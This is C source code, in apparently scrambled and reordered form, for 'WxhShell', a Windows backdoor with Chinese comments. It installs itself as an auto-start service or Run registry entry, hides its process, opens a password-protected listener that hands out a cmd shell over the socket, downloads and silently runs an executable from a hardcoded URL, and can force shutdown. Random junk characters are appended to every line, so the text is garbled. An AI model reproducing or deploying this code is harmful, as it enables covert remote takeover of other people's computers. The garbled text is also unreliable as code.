    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z/wwe\ a5  
    else { {43 J'WsJ  
    closesocket(wsh); %Ot*k%F  
    ExitThread(0); :Z+J t=;  
    } CIj7' V  
    break; p#6tKY;N  
    } w9675D+  
  // 获取shell 1v 4M*  
  case 's': { h !?rk|  
    CmdShell(wsh); \|CuTb;0  
    closesocket(wsh); NRazI_Z  
    ExitThread(0); TT={>R[B  
    break; lYS*{i1^ '  
  } t&~*!w!+jH  
  // 退出 9ePom'1f1  
  case 'x': { J~AmRo0!k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fJ&\Z9zY  
    CloseIt(wsh); Z29aRi  
    break; G\K!7k`)!  
    } slaH2}$xR  
  // 离开 a3L-q>h  
  case 'q': { o{3>n" \w3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OoQLR  
    closesocket(wsh); &r2\P6J  
    WSACleanup(); >4J(\'}m|  
    exit(1); g]E3+:5dk  
    break; q@1xYz:J  
        } vsJDVJ +=  
  } /@&#U bN\  
  } %e:[[yq)G  
+ ]iK^y-.r  
  // 提示信息 @hy~H?XN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jZ''0Lclpc  
} R?M>uaxn  
  } Hwcmt!y  
z0Z1J8Qq6.  
  return; L3A2A  
} ]n3!%0]\  
J$lfI^^  
// shell模块句柄 6 [?5hmc"w  
int CmdShell(SOCKET sock) eJeL{`NS  
{ u<4bOJn({  
STARTUPINFO si; 3-'3w,  
ZeroMemory(&si,sizeof(si)); ]r'D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @9R78Zra  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >`p? CE  
PROCESS_INFORMATION ProcessInfo; #qW#>0U  
char cmdline[]="cmd"; vM50H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '8[; m_S  
  return 0; ]B$J8.{q0  
} v0?SN>fZ  
2$v8{Y&  
// 自身启动模式 J57; X=M  
int StartFromService(void) xsiJI1/68  
{ R:j mn  
typedef struct ;e< TEs  
{ =T\=,B  
  DWORD ExitStatus; 7iyx_gyo  
  DWORD PebBaseAddress; c=zSq%e   
  DWORD AffinityMask; J 5';Hb)  
  DWORD BasePriority; Cy)N hgz  
  ULONG UniqueProcessId; e\O-5hp7  
  ULONG InheritedFromUniqueProcessId; tzv4uD]  
}   PROCESS_BASIC_INFORMATION; dMCoN8W  
EiG5k.C@  
PROCNTQSIP NtQueryInformationProcess; `WnsM; 1Y"  
~Z!YB,)bp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x,zYNNx5g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WIuYSt)h  
gS8+S\2  
  HANDLE             hProcess; /V63yzoY  
  PROCESS_BASIC_INFORMATION pbi; b%vIaP|]B  
-e_o p'`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e<*qaUI  
  if(NULL == hInst ) return 0; v$w}UC%uf  
'#h ORQB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?~4x/d%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kD?@nx>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |:.Uw\z5'  
Dh}(B$~Oz+  
  if (!NtQueryInformationProcess) return 0; 6B|i-b $~  
1U/RMN3`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' QMcQvU  
  if(!hProcess) return 0; l#%7BGwzY  
z;F HZb9t,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H%gAgXHn  
0zkMRBe  
  CloseHandle(hProcess); $;'M8L  
yj#*H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gPT_}#_GxM  
if(hProcess==NULL) return 0; Ff(};$/& W  
@!u{>!~0  
HMODULE hMod; p)ig~kk`  
char procName[255]; B+mxM/U[c  
unsigned long cbNeeded; p6K~b  
Tjq1[Wq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yCav;ZS_  
J?yasjjgP  
  CloseHandle(hProcess); ydo9 P5E  
s1[&WDedM  
if(strstr(procName,"services")) return 1; // 以服务启动 `[g$EXX  
x,.=VB  
  return 0; // 注册表启动 [DH4iG5  
} )E*f30  
Fa[^D~$l*  
// 主模块 XsQ81j.  
int StartWxhshell(LPSTR lpCmdLine) R54ae:8  
{ KFwuz()7  
  SOCKET wsl; Wc2&3p9 c  
BOOL val=TRUE; z!O;s ep?/  
  int port=0; 6?~9{0  
  struct sockaddr_in door; wjwCs`  
lZL+j6Q  
  if(wscfg.ws_autoins) Install(); l<GN<[/.+  
#~)A#~4O  
port=atoi(lpCmdLine); WA~[) S0  
ix2i.wdD  
if(port<=0) port=wscfg.ws_port; %UrNPk  
"aF2:E'  
  WSADATA data; #e-K It  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IDT\hTPIs  
19qH WU^0V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ; F'IS/ttX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V [g^R*b  
  door.sin_family = AF_INET; 2Ax"X12{6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P dqvXc  
  door.sin_port = htons(port); $<nRW*d  
oo\^}jb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L%/>Le}VX  
closesocket(wsl); K~,!IU_QG  
return 1; SyVXXk 0  
} C/Tk`C&  
iL);bv W  
  if(listen(wsl,2) == INVALID_SOCKET) { JX&]>#6|E  
closesocket(wsl); A;Y~Hu4KPZ  
return 1; ]jxyaE&%4  
} }6\,kFc  
  Wxhshell(wsl); syW[uXNLZ  
  WSACleanup(); s_/@`kd{  
H`)eT6:|/  
return 0;  94PI  
9!n95  
} 81x/ bx@L%  
ygnZ9ikh<-  
// 以NT服务方式启动 d9:I.SA)E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >~Zj  
{ Ve%ua]qA  
DWORD   status = 0; gi,7X\`KQ  
  DWORD   specificError = 0xfffffff; xaVX@ 3r.3  
O U7OX]h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G{fPQ=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jFdgFK c)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jw}t~m3  
  serviceStatus.dwWin32ExitCode     = 0; KPO w  
  serviceStatus.dwServiceSpecificExitCode = 0; }Y.YJXum  
  serviceStatus.dwCheckPoint       = 0; X,l7>>L{g  
  serviceStatus.dwWaitHint       = 0; ^g6v#]&WA  
i*N2@Z[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V[kJ;YLPN  
  if (hServiceStatusHandle==0) return; `RSiZ%Al  
"rLm)$I  
status = GetLastError(); ,= ApnNUgX  
  if (status!=NO_ERROR) GBb8 }lx  
{ J' P:SC1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '6qH@r4Z<  
    serviceStatus.dwCheckPoint       = 0; z_xy*Iif  
    serviceStatus.dwWaitHint       = 0; A4@z+ebb l  
    serviceStatus.dwWin32ExitCode     = status; #Y7iJPO  
    serviceStatus.dwServiceSpecificExitCode = specificError; /c=8$y\%@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); & n@hD7=(  
    return; 153*b^iDBh  
  } uo]\L^j   
n$SL"iezW?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -{OJM|W+  
  serviceStatus.dwCheckPoint       = 0; (Ud"+a  
  serviceStatus.dwWaitHint       = 0; [DjlkA/Zg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N7"cMAs\G  
} 1YMi4.  
<Nrtkf4-O  
// 处理NT服务事件,比如:启动、停止 l H_pG~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o'$-  
{ >Vq07R  
switch(fdwControl) Vbp@n  
{ !1R?3rVQS  
case SERVICE_CONTROL_STOP: 1N$OXLu  
  serviceStatus.dwWin32ExitCode = 0; wS|k3^OV%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H?r~% bh  
  serviceStatus.dwCheckPoint   = 0; Gq1C"s$4'  
  serviceStatus.dwWaitHint     = 0; $> QJ%v9+  
  { \\ R<HuTY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dRzeHuF92  
  } bvB7d` wx  
  return; Xmmj.ZUr  
case SERVICE_CONTROL_PAUSE: g/$RuT2U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ehr\lcS<  
  break; "kcix!}&  
case SERVICE_CONTROL_CONTINUE: mm#UaEp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z"Lr5'}  
  break; jt6_1^  
case SERVICE_CONTROL_INTERROGATE: cCiDe`T\F  
  break; w$&;s<0  
}; <n k/w5nKL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DS4y@,/)'  
} M*T!nwb  
imM#zy  
// 标准应用程序主函数 Zp{K_ec{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7fWZ/;p  
{ %=K[C  
u"7!EhX&  
// 获取操作系统版本 mBye)q$  
OsIsNt=GetOsVer(); 45-x$o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); be-HF;lZe'  
UnVa`@P^:G  
  // 从命令行安装 cna%;f.  
  if(strpbrk(lpCmdLine,"iI")) Install(); G,WLca[  
d7X7_  
  // 下载执行文件 \L?A4Qx)_  
if(wscfg.ws_downexe) { '"Uhw$#t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \O~/^ Y3U!  
  WinExec(wscfg.ws_filenam,SW_HIDE); T%"wz3~  
} |DsT $ ~D  
Z-}A "n  
if(!OsIsNt) { ^"iL|3d  
// 如果时win9x,隐藏进程并且设置为注册表启动 -e"kJd&V  
HideProc(); 7zN7PHT=$t  
StartWxhshell(lpCmdLine); c*<BU6y  
} ZjY?T)WE9  
else 9RS viIi$  
  if(StartFromService()) /Trbr]lWy  
  // 以服务方式启动 4%<wxrod  
  StartServiceCtrlDispatcher(DispatchTable); #_3ZF"[zq  
else e1V1Ae  
  // 普通方式启动 /VEK<.,aMv  
  StartWxhshell(lpCmdLine); hfc~HKLC  
G"L`9E<0V  
return 0; O\=Zo9(NHF  
} 5mL4Zq"  
OM7AK B=S  
vaVV 1  
N3KI6p6\  
=========================================== p,(W?.ZDN?  
vq3:N'  
f4 +P2j  
6N Ogi  
Ed_Fx'  
5D7k[+6  
" 77+3CME{'  
o7PS1qcya<  
#include <stdio.h> ;jPiD`Kyv  
#include <string.h> tblduiN   
#include <windows.h> IZQ*D)  
#include <winsock2.h> _T805<aUW\  
#include <winsvc.h> '4M;;sKW  
#include <urlmon.h> -i91nMi]  
r1=j$G  
#pragma comment (lib, "Ws2_32.lib") *].qm g%  
#pragma comment (lib, "urlmon.lib")  Bw+ ?MdS  
R S>qP;V*-  
#define MAX_USER   100 // 最大客户端连接数 {+5Ud#\y  
#define BUF_SOCK   200 // sock buffer 5xj8^W^G9  
#define KEY_BUFF   255 // 输入 buffer @li/Y6Wh  
f4f)9n  
#define REBOOT     0   // 重启 !`W0;0'Zg  
#define SHUTDOWN   1   // 关机 ?Ycl!0m  
LU@1Gol  
#define DEF_PORT   5000 // 监听端口 $|[N3  
+T,A^(&t  
#define REG_LEN     16   // 注册表键长度 BT$Oh4y4  
#define SVC_LEN     80   // NT服务名长度 GlC(uhCpV  
Oi@|4mo  
// 从dll定义API Fs=)*6}&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RHbbj}B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Tt.r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DqmKD U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]HXHz(?;F  
X1[zkb  
// wxhshell配置信息 t0/Ol'kgs  
struct WSCFG { 2\#$::B9  
  int ws_port;         // 监听端口 )1GJ^h$l  
  char ws_passstr[REG_LEN]; // 口令 J!3;\  
  int ws_autoins;       // 安装标记, 1=yes 0=no :hWG:`  
  char ws_regname[REG_LEN]; // 注册表键名 t56PzT'M  
  char ws_svcname[REG_LEN]; // 服务名 @`^Z5n.4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2#/sIu-L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LN5q_ZvR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YV>&v.x0;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lh XD9ed  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %503 <j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3Q7PY46  
m*i,|{UZ  
}; :2wT)wz  
];=|))ky"  
// default Wxhshell configuration 4/ q BD  
struct WSCFG wscfg={DEF_PORT, yOP$~L#TWs  
    "xuhuanlingzhe", vD/l`Ib:  
    1, #~qza ETv,  
    "Wxhshell", T@zp'6\H  
    "Wxhshell", OI6m>XH?  
            "WxhShell Service", &arJe!K  
    "Wrsky Windows CmdShell Service", ;/IX w>O(/  
    "Please Input Your Password: ", #8BI`.t)j  
  1, R'atg 9  
  "http://www.wrsky.com/wxhshell.exe", INCD5dihJ  
  "Wxhshell.exe" ~u[1Vz4#3  
    }; YZ<5-C  
*7L1SjZw  
// 消息定义模块 [`bK {Dq2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2<'ol65/c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P^ lzbWj^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \SYeDy  
char *msg_ws_ext="\n\rExit."; }%42Ty  
char *msg_ws_end="\n\rQuit."; $d.Dk4.ed  
char *msg_ws_boot="\n\rReboot..."; qn}VW0!  
char *msg_ws_poff="\n\rShutdown..."; |}X[Yg=FG  
char *msg_ws_down="\n\rSave to "; yKm6 8n^  
Aq>?G+  
char *msg_ws_err="\n\rErr!"; E4_,EeC#  
char *msg_ws_ok="\n\rOK!"; 6 lEv<)cC  
s8' ;4z  
char ExeFile[MAX_PATH]; K;w]sN+I  
int nUser = 0; `v2Xp3o4f  
HANDLE handles[MAX_USER]; Bc b '4*:  
int OsIsNt; t23W=U  
5HY0 *\  
SERVICE_STATUS       serviceStatus; )N\B C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X_,R!$wbg:  
KAu>U3\/  
// 函数声明 - _ %~b  
int Install(void); NJQy*~P  
int Uninstall(void); $}us+hGZ  
int DownloadFile(char *sURL, SOCKET wsh); hVd_1|/X  
int Boot(int flag); u6MU @?  
void HideProc(void); )?6%d  
int GetOsVer(void); 7$IR^  
int Wxhshell(SOCKET wsl); 8 ~Pdr]5  
void TalkWithClient(void *cs); w2lO[o~x}  
int CmdShell(SOCKET sock); :C={Z}t/F  
int StartFromService(void); HoeW6UV  
int StartWxhshell(LPSTR lpCmdLine); E7/i_Xkk  
X7tBpyi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zpzxCzU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2gEF$?+q?  
WfTl\Dxw  
// 数据结构和表定义 ?_T[]I'  
SERVICE_TABLE_ENTRY DispatchTable[] = WQB V~.<Yv  
{ K\mFb  
{wscfg.ws_svcname, NTServiceMain}, p+7#`iICE  
{NULL, NULL} f*p=j(sF  
}; [N"=rY4G  
6X4r2Vq  
// 自我安装 MfdkvJ'  
int Install(void) Ev3,p`zS._  
{ lW4 6S  
  char svExeFile[MAX_PATH]; }I18|=TB  
  HKEY key; ?t/\ ID  
  strcpy(svExeFile,ExeFile); %D% Ok7s})  
TS=U%)Ik  
// 如果是win9x系统,修改注册表设为自启动 ]AN%#1++U  
if(!OsIsNt) { :H:+XIgoR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GBT219Z@8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \vS > jB  
  RegCloseKey(key); ~b4kV)[ q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !lM.1gTTC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -*kZ2grLt  
  RegCloseKey(key); 8~|v:qk  
  return 0; J]Rh+@r.  
    } )a%E $`   
  } Q"3gvIyc  
} #6pJw?[  
else { X|}Q4T`  
lB!M;2^)X  
// 如果是NT以上系统,安装为系统服务 7c6- o"A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7=&+0@R#/d  
if (schSCManager!=0) TJZ arNc$  
{ `f <w+u  
  SC_HANDLE schService = CreateService 4i<GqG  
  ( u EERNo&  
  schSCManager, Cj/!m  
  wscfg.ws_svcname, MIN}5kc<  
  wscfg.ws_svcdisp, QC6QqcOX  
  SERVICE_ALL_ACCESS, r >sXvzv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 31QDN0o!~  
  SERVICE_AUTO_START, :Smyk.B2!  
  SERVICE_ERROR_NORMAL, rMw$T=Oi  
  svExeFile, b~<:k\EE  
  NULL, vZ^U]h V  
  NULL, |Nadk(}  
  NULL, YtXd>@7  
  NULL, &MB1'~Q,hq  
  NULL 0sCWIGU W  
  ); . +,{|){c  
  if (schService!=0) &[N_{O|  
  { +x~p&,w?  
  CloseServiceHandle(schService); .z*}%,G  
  CloseServiceHandle(schSCManager); ;hh.w??  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C^:{y  
  strcat(svExeFile,wscfg.ws_svcname); ,C:^K`k&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S,a:H*Hf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Yjl:i*u/  
  RegCloseKey(key); 6}Rb-\N  
  return 0; bw!*=<  
    } Ylgr]?Db*  
  } ]LMtZUz  
  CloseServiceHandle(schSCManager); HYZp= *eb  
} @4Q /J$  
} GgE 38~A4  
[<>%I#7ulG  
return 1; : ?>yi7w  
} EoS6t  
M-e|$'4u  
// 自我卸载 RVF<l?EI4R  
int Uninstall(void) Ix~rBD9  
{ Qv)DSl  
  HKEY key; LKZv#b[h  
^Cj3\G4,  
if(!OsIsNt) { kovJ9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QT|\TplJt  
  RegDeleteValue(key,wscfg.ws_regname); Fc|N6I'o  
  RegCloseKey(key); #T8PgmR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NFf` V  
  RegDeleteValue(key,wscfg.ws_regname); tJm1Q#||  
  RegCloseKey(key); &z>iqm"Ww  
  return 0; dl6Ju  
  } b=SCyGxlZ5  
} "#h/sAIs  
} 9S<V5$}  
else { t"5ZYa  
WtXf~ :R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 162Dj$  
if (schSCManager!=0) SPauno <M  
{ WE+Szg(4x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |;"(C# B  
  if (schService!=0) '>Thn{  
  { zXkq2\GHA  
  if(DeleteService(schService)!=0) { J?1Eh14KZ  
  CloseServiceHandle(schService); rmdg~  
  CloseServiceHandle(schSCManager); (%9J( 4  
  return 0; ^KV:.up6  
  } 1k{H,p7  
  CloseServiceHandle(schService); u_b6u@r7  
  } |lyspD  
  CloseServiceHandle(schSCManager); mqY=N~/O  
} KbH|'/w  
} G{zxP%[E  
G\(*z4@Gz  
return 1; MFipXE!  
} g``S SU  
IiY%y:!g  
// 从指定url下载文件 7324#HwS  
int DownloadFile(char *sURL, SOCKET wsh) OUN"'p%%  
{ (R9"0WeF  
  HRESULT hr; q77Iq0VR  
char seps[]= "/"; 9j5B(_J^  
char *token; :j`XU  
char *file; KYq<n& s  
char myURL[MAX_PATH]; 4I.)>+8V  
char myFILE[MAX_PATH]; QJI]@3 Y  
Q v},X~^R  
strcpy(myURL,sURL); w*u.z(:a`  
  token=strtok(myURL,seps);  J@J`)  
  while(token!=NULL) Of eM;)  
  { {&FOa'bP  
    file=token; 8L`wib2  
  token=strtok(NULL,seps); oq (W|  
  } x@x5|8:ga  
&0{&4,  
GetCurrentDirectory(MAX_PATH,myFILE); _6]tbni?v  
strcat(myFILE, "\\"); U?Vik  
strcat(myFILE, file); T`c:16I  
  send(wsh,myFILE,strlen(myFILE),0); \t? ;p-+ta  
send(wsh,"...",3,0); CYM>4C~>JW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {l\Ep=O vx  
  if(hr==S_OK) qr~zTBT] E  
return 0; DP!8c  
else dd4^4X`j  
return 1; q~{O^,4S  
#.LI `nYA  
} hz h3p[  
5{-54mwo  
// 系统电源模块 C @P$RVS  
int Boot(int flag) D8b9 T.[(  
{ $4]4G=o  
  HANDLE hToken; DH.CAV  
  TOKEN_PRIVILEGES tkp; !)`m mr  
Z,>owoP4  
  if(OsIsNt) { w; :{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q0L1!}w   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \3x+Z!  
    tkp.PrivilegeCount = 1; E:P_CDSd]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `*B6T7p1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U:|:Y=O?Q  
if(flag==REBOOT) { O1oh,~W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %)e&"mq!|  
  return 0; S4!B;,?AxN  
} Krr51` hZH  
else { O44Fj)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )0=H)k0  
  return 0; 7&Ie3[Rm_3  
} 66po SZR@  
  } `/(9 #E  
  else { 6dRvx;d  
if(flag==REBOOT) { d[p?B-7%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ; Ji3|=4u  
  return 0; $$'[ %  
} 6)~7Uf:<v  
else { W Qe Q`pM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DyRU$U  
  return 0; P[H 4Yp  
} ayLINpL  
} bq{eu#rQJ  
#_:%Y d  
return 1; L; <Pod  
} MO|8A18B  
hE +M|#o  
// win9x进程隐藏模块  |  
void HideProc(void) >{"E~U  
{ &InFC5A  
2hb>6Z;r]K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,F=FM>o  
  if ( hKernel != NULL ) W'v o?  
  { 3.Jk-:u %m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6vg` 8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?p>m ;Aq  
    FreeLibrary(hKernel); `_3 Gb  
  } N \woFrG  
4@Bl 1b[<  
return; ixB"6O  
} p }3$7CR/  
_I0=a@3  
// 获取操作系统版本 :\%ZTBLL  
int GetOsVer(void)  wKbU}29c  
{ <4-g2.\  
  OSVERSIONINFO winfo; kXO c)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WFvVu3  
  GetVersionEx(&winfo); eo&G@zwN   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) / LLo7"  
  return 1; HHT8_c'CC#  
  else r(g# 3i4Q  
  return 0; <lRjh7  
} #d$lN}8  
j 5bHzcv  
// 客户端句柄模块 I.U=%{.  
int Wxhshell(SOCKET wsl) /wi/i*;A  
{ HcGbe37Xq  
  SOCKET wsh; n/% M9osF  
  struct sockaddr_in client; mJsU7bD`  
  DWORD myID; r%`3*<ALV)  
@u:q#b  
  while(nUser<MAX_USER) AH^ud*3F  
{ 6h1pPx7zU  
  int nSize=sizeof(client); R=S)O.*R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tz7|OV_W$  
  if(wsh==INVALID_SOCKET) return 1; af&P;#U  
96%N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *`t3z-L  
if(handles[nUser]==0)  ">q?(i\  
  closesocket(wsh); % "^CrG  
else ,hCbx #h  
  nUser++; A $l  
  } >j&k:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y0ACJ?|  
=h/61Bl3  
  return 0; !#S"[q  
} 07>D G#  
J>fq5  
// 关闭 socket g+-^6UG  
void CloseIt(SOCKET wsh) QM{B(zH  
{ wif1|!aL  
closesocket(wsh); y/"CWD/i  
nUser--; ogoEtKi  
ExitThread(0); vQ >8>V  
} 0RN7hpf&`  
[>lQi X  
// 客户端请求句柄 %:7/ym[  
void TalkWithClient(void *cs) 3w+ +F@(  
{ -$`q:j  
Q fL8@W~e  
  SOCKET wsh=(SOCKET)cs; Z.N9e  
  char pwd[SVC_LEN]; AH^'E  
  char cmd[KEY_BUFF]; Q;kl-upn~8  
char chr[1]; >bg{  
int i,j; "|/q4JN)7d  
hPt=j{aJ%<  
  while (nUser < MAX_USER) { NFI~vkk'G  
. Fm| $x  
if(wscfg.ws_passstr) { LWV^'B_X-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  9-y<= )  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rd|^C$6  
  //ZeroMemory(pwd,KEY_BUFF); >n%ckL|rG  
      i=0; |lh&l<=(f  
  while(i<SVC_LEN) { M+7jJ?n  
ngzQVaB9  
  // 设置超时 MF +F8h>/  
  fd_set FdRead; TIno"tc3  
  struct timeval TimeOut; 3H%bbFy  
  FD_ZERO(&FdRead); }1NNXxQ  
  FD_SET(wsh,&FdRead); QV _a M2  
  TimeOut.tv_sec=8; TU9$5l/;g  
  TimeOut.tv_usec=0; ,?!MVN-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z;6?,5OSc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1z@{ 4)  
<M\#7.](  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y>ePCDR3  
  pwd=chr[0]; >FL%H=]  
  if(chr[0]==0xd || chr[0]==0xa) { v5*JBW+c*  
  pwd=0; J?f7!F:8  
  break; KnUVR!H|  
  } 9\%`/tJM  
  i++; D`)K3;h  
    } ?F|F~A8dr  
;6*$!^*w  
  // 如果是非法用户,关闭 socket 2QKt.a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {G{ >Qa|  
} v R ! y#  
KuMH,rXF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |^gnT`+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m5cRHo<9Y  
Kae-Y  
while(1) { BxesoB  
_[N*k"  
  ZeroMemory(cmd,KEY_BUFF); %t]{C06w+{  
0_-P~^A  
      // 自动支持客户端 telnet标准   /$|-!e<5b\  
  j=0; Sea6xGdq  
  while(j<KEY_BUFF) { }`]Et99Q5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i~rb-~o  
  cmd[j]=chr[0]; 2FR 5RG oD  
  if(chr[0]==0xa || chr[0]==0xd) { $rPQ%2eF4  
  cmd[j]=0; A&X XL~yH  
  break; ~\ v"xV  
  } .L.9e#?3  
  j++; "lL/OmG  
    } 5JS*6|IbD{  
t<e3EW@>>  
  // 下载文件 N: 5 N}am  
  if(strstr(cmd,"http://")) { Ka$lNL3<j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); br*PB]dU  
  if(DownloadFile(cmd,wsh)) AL|3_+G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rv2;)3/*  
  else ~Jlq.S'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xxOhGA)  
  } yh.WTgcW  
  else { AsI.8"  
